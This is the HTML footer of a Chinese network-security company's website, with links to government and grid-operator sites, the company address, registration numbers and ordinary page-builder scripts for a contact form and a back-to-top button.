            <div class="cc-menu--item__link">
                <a  target="_blank" href="https://www.mps.gov.cn/" >
                            <span class="cc-menu--item__title">
                                公安部
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_blank" href="http://www.sgcc.com.cn/html/sgcc_main/index.shtml" >
                            <span class="cc-menu--item__title">
                                国家电网
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_blank" href="https://www.csg.cn/" >
                            <span class="cc-menu--item__title">
                                南方电网
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_blank" href="http://www.chinaccia.org.cn/" >
                            <span class="cc-menu--item__title">
                                中国计算机行业协会
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    </ul></div>

<script>(function() {
    useComponent('menu').default({"id":"id-99-jc0fgyqz20","options":{"hover_show":"no","show_cur_sub":"no","retain_hover":"none","line-style-obj":"main_menu","line-style":"left","mode":"horizontal","style":"default","menu-item-repulsion":"no"}})
})()</script></div></div></div><div node-id="id-73-l98g8gplhg" node-type="row" class="cc-row cc-slot--wrapper cc-row--flex cc-row--justify__start cc-row--align__top cc-row--width__default"><script>(function() {
    useComponent('row').default({"id":"id-73-l98g8gplhg","options":{"full-width":"default","adaption-height":"no","background-video":"","noheader-full-height":"no","auto-flex":[],"auto-flex-enable":"no"}})
})()</script><div node-id="id-26-x0u8uo155d" node-type="column" class="cc-col cc-slot--wrapper cc-col--align__top cc-col--justify__start cc-col-24 cc-col-xl-24 cc-col-lg3-24 cc-col-lg2-24 cc-col-lg-24 cc-col-md-24 cc-col-sm-24 cc-col-xs-24"><script>(function() {
    useComponent('column').default({"id":"id-26-x0u8uo155d","options":[]})
})()</script><div class="cc-element--wrapper id-46-tohu3aj591--wrapper" ><div node-id="id-46-tohu3aj591" node-type="placeholder" class="cc-placeholder"  style="height:45px">
</div>


<script>(function() {
    useComponent('placeholder').default({"id":"id-46-tohu3aj591","options":[]})
})()</script></div></div></div><div node-id="id-23-kksts56wg3" node-type="row" class="cc-row cc-slot--wrapper cc-row--flex cc-row--justify__start cc-row--align__top cc-row--width__default"><script>(function() {
    useComponent('row').default({"id":"id-23-kksts56wg3","options":{"full-width":"default","adaption-height":"no","background-video":"","noheader-full-height":"no","auto-flex":[],"auto-flex-enable":"no"}})
})()</script><div node-id="id-49-oylj46y4ly" node-type="column" class="cc-col cc-slot--wrapper cc-col--align__middle cc-col--justify__start cc-col-4 cc-col-xl-4 cc-col-lg3-4 cc-col-lg2-4 cc-col-lg-4 cc-col-md-4 cc-col-sm-4 cc-col-xs-24"><script>(function() {
    useComponent('column').default({"id":"id-49-oylj46y4ly","options":[]})
})()</script><div class="cc-element--wrapper id-14-frcfmdyryc--wrapper" >
<style style-id="id-14-frcfmdyryc">
[node-id="id-14-frcfmdyryc"] .cc-textblock__body{padding: 0px;}
</style>
<div node-id="id-14-frcfmdyryc" node-type="textblock" class="cc-textblock" >
    <div class="cc-textblock__body richtext">
        <p style="line-height: 1;"><img src="/uploads/2023/07/0261e24bd4abd3ded3a729e98cfe7d42.png" width="121" height="80" /></p>    </div>
</div>

<script>(function() {
    useComponent('textblock').default({"id":"id-14-frcfmdyryc","options":[]})
})()</script></div></div><div node-id="id-35-wg3yoauow7" node-type="column" class="cc-col cc-slot--wrapper cc-col--align__middle cc-col--justify__start cc-col-18 cc-col-xl-18 cc-col-lg3-18 cc-col-lg2-18 cc-col-lg-18 cc-col-md-18 cc-col-sm-18 cc-col-xs-24"><script>(function() {
    useComponent('column').default({"id":"id-35-wg3yoauow7","options":[]})
})()</script><div class="cc-element--wrapper id-27-izcfrlotcq--wrapper" >
<style style-id="id-27-izcfrlotcq">
[node-id="id-27-izcfrlotcq"] .cc-textblock__body{padding: 0px;}
</style>
<div node-id="id-27-izcfrlotcq" node-type="textblock" class="cc-textblock" >
    <div class="cc-textblock__body richtext">
        <p style="line-height: 1.5;"><span style="font-size: 15px; color: #666666;">总部地址：北京市海淀区宝盛南路1号院26号楼领智中心A座6层（100192） </span></p>
<p style="line-height: 1.5;"><span style="font-size: 15px; color: #666666;">电话：010-60605180、60605185</span></p>
<p style="line-height: 1.5;"><span style="font-size: 15px; color: #666666;">版权所有2025&copy; &nbsp;北京卓识网安技术股份有限公司 &nbsp; | &nbsp; <a href="https://beian.miit.gov.cn/#/Integrated/index" target="_blank" style="color: #666666;" rel="noopener">京ICP备19035388号-1</a> &nbsp; | &nbsp; <a href="https://beian.mps.gov.cn/#/query/webSearch?code=11010802034101" target="_blank" style="color: #666666;" rel="noopener">&nbsp;<img src="/uploads/2023/07/090f7f4688c97a900176bd60820a598c.png" /> 京公安备11010802034101号</a></span></p>    </div>
</div>

<script>(function() {
    useComponent('textblock').default({"id":"id-27-izcfrlotcq","options":[]})
})()</script></div></div><div node-id="id-72-bs8omln2sq" node-type="column" class="cc-col cc-slot--wrapper cc-col--align__top cc-col--justify__start cc-col-2 cc-col-xl-2 cc-col-lg3-2 cc-col-lg2-2 cc-col-lg-2 cc-col-md-2 cc-col-sm-2 cc-col-xs-24"><script>(function() {
    useComponent('column').default({"id":"id-72-bs8omln2sq","options":[]})
})()</script><div class="cc-element--wrapper id-10-c60fkooz6k--wrapper" >
<style style-id="id-10-c60fkooz6k">
[node-id="id-10-c60fkooz6k"] .cc-textblock__body{padding: 0px;}
</style>
<div node-id="id-10-c60fkooz6k" node-type="textblock" class="cc-textblock" >
    <div class="cc-textblock__body richtext">
        <p style="line-height: 1;"><img src="/uploads/2023/07/635e3eff615df2b114a44baccb81ce60.png" width="137" height="134" style="display: block; margin-left: auto; margin-right: auto;" /></p>
<p style="text-align: center; line-height: 1;"><span style="font-size: 14px; color: #666666;">微信公众号</span></p>    </div>
</div>

<script>(function() {
    useComponent('textblock').default({"id":"id-10-c60fkooz6k","options":[]})
})()</script></div></div></div><div node-id="id-87-os5xo9h5u8" node-type="row" class="cc-row cc-slot--wrapper cc-row--flex cc-row--justify__start cc-row--align__top cc-row--width__default"><script>(function() {
    useComponent('row').default({"id":"id-87-os5xo9h5u8","options":{"full-width":"default","adaption-height":"no","background-video":"","noheader-full-height":"no","auto-flex":[],"auto-flex-enable":"no"}})
})()</script><div node-id="id-13-rgqamine5c" node-type="column" class="cc-col cc-slot--wrapper cc-col--align__top cc-col--justify__start cc-col-24 cc-col-xl-24 cc-col-lg3-24 cc-col-lg2-24 cc-col-lg-24 cc-col-md-24 cc-col-sm-24 cc-col-xs-24"><script>(function() {
    useComponent('column').default({"id":"id-13-rgqamine5c","options":[]})
})()</script><div class="cc-element--wrapper id-22-tfv57gyl38--wrapper" ><div node-id="id-22-tfv57gyl38" node-type="placeholder" class="cc-placeholder"  style="height:45px">
</div>


<script>(function() {
    useComponent('placeholder').default({"id":"id-22-tfv57gyl38","options":[]})
})()</script></div></div></div></div></div></div></div></div>
            

  
        </div>
            
        <div class="Page-widgets">
          
            
        <div class="side-toolbar position-right-bottom">
    <ul>
                <li>
            <div class="toolbar-icon
                "
                            >
                <a  target="_self" title="在线留言" href="javascript:_utils_.handler(JSON.parse(decodeURIComponent('%7B%22action%22%3A%22open%22%2C%22options%22%3A%7B%22bg_color%22%3A%22%23fff%22%2C%22min_height%22%3A%22200%22%2C%22target%22%3A%22_blank%22%2C%22close%22%3A%221%22%2C%22autoPlay%22%3A%220%22%2C%22template_id%22%3A%2236%22%2C%22width%22%3A%22%22%2C%22url%22%3A%22https%3A%5C%2F%5C%2Ftd91msdq7z.jiandaoyun.com%5C%2Ff%5C%2F5e3d046d3ac9f300062af7fe%22%7D%7D')));" ><img  src="data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' width='10' height='10'></svg>" class=" async-load" data-src="https://www.enst.org.cn/uploads/2024/11/5defd0ba7eae1bd63b158d9753944472.png" /></a>            </div>

                            <div class="toolbar-img ">
                    <img  src="data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' width='10' height='10'></svg>" class=" async-load" />                </div>
                    </li>
                <li>
            <div class="toolbar-icon
                "
                            >
                <a  target="_self" href="javascript:_utils_.handler(JSON.parse(decodeURIComponent('%7B%22action%22%3A%22backtop%22%2C%22options%22%3A%7B%22bg_color%22%3A%22%23fff%22%2C%22min_height%22%3A%22200%22%2C%22target%22%3A%22_self%22%7D%7D')));" ><img  src="data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' width='10' height='10'></svg>" class=" async-load" data-src="/uploads/2023/07/f5a06d2a016796fa8bc0124b9d43f9c8.png" /></a>            </div>

                            <div class="toolbar-img ">
                    <img  src="data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' width='10' height='10'></svg>" class=" async-load" />                </div>
                    </li>
            </ul>
</div>
        </div>
    </div>
</div>
<script class="custom-js-code">
(function() {
    var custom_js_code = 
    []
    for ( var i = 0; i < custom_js_code.length; i++ ) {
        var code = custom_js_code[i].code
        var title = custom_js_code[i].title
        _utils_.sandbox(code, title)
    }
})();
</script>

</body>
</html>
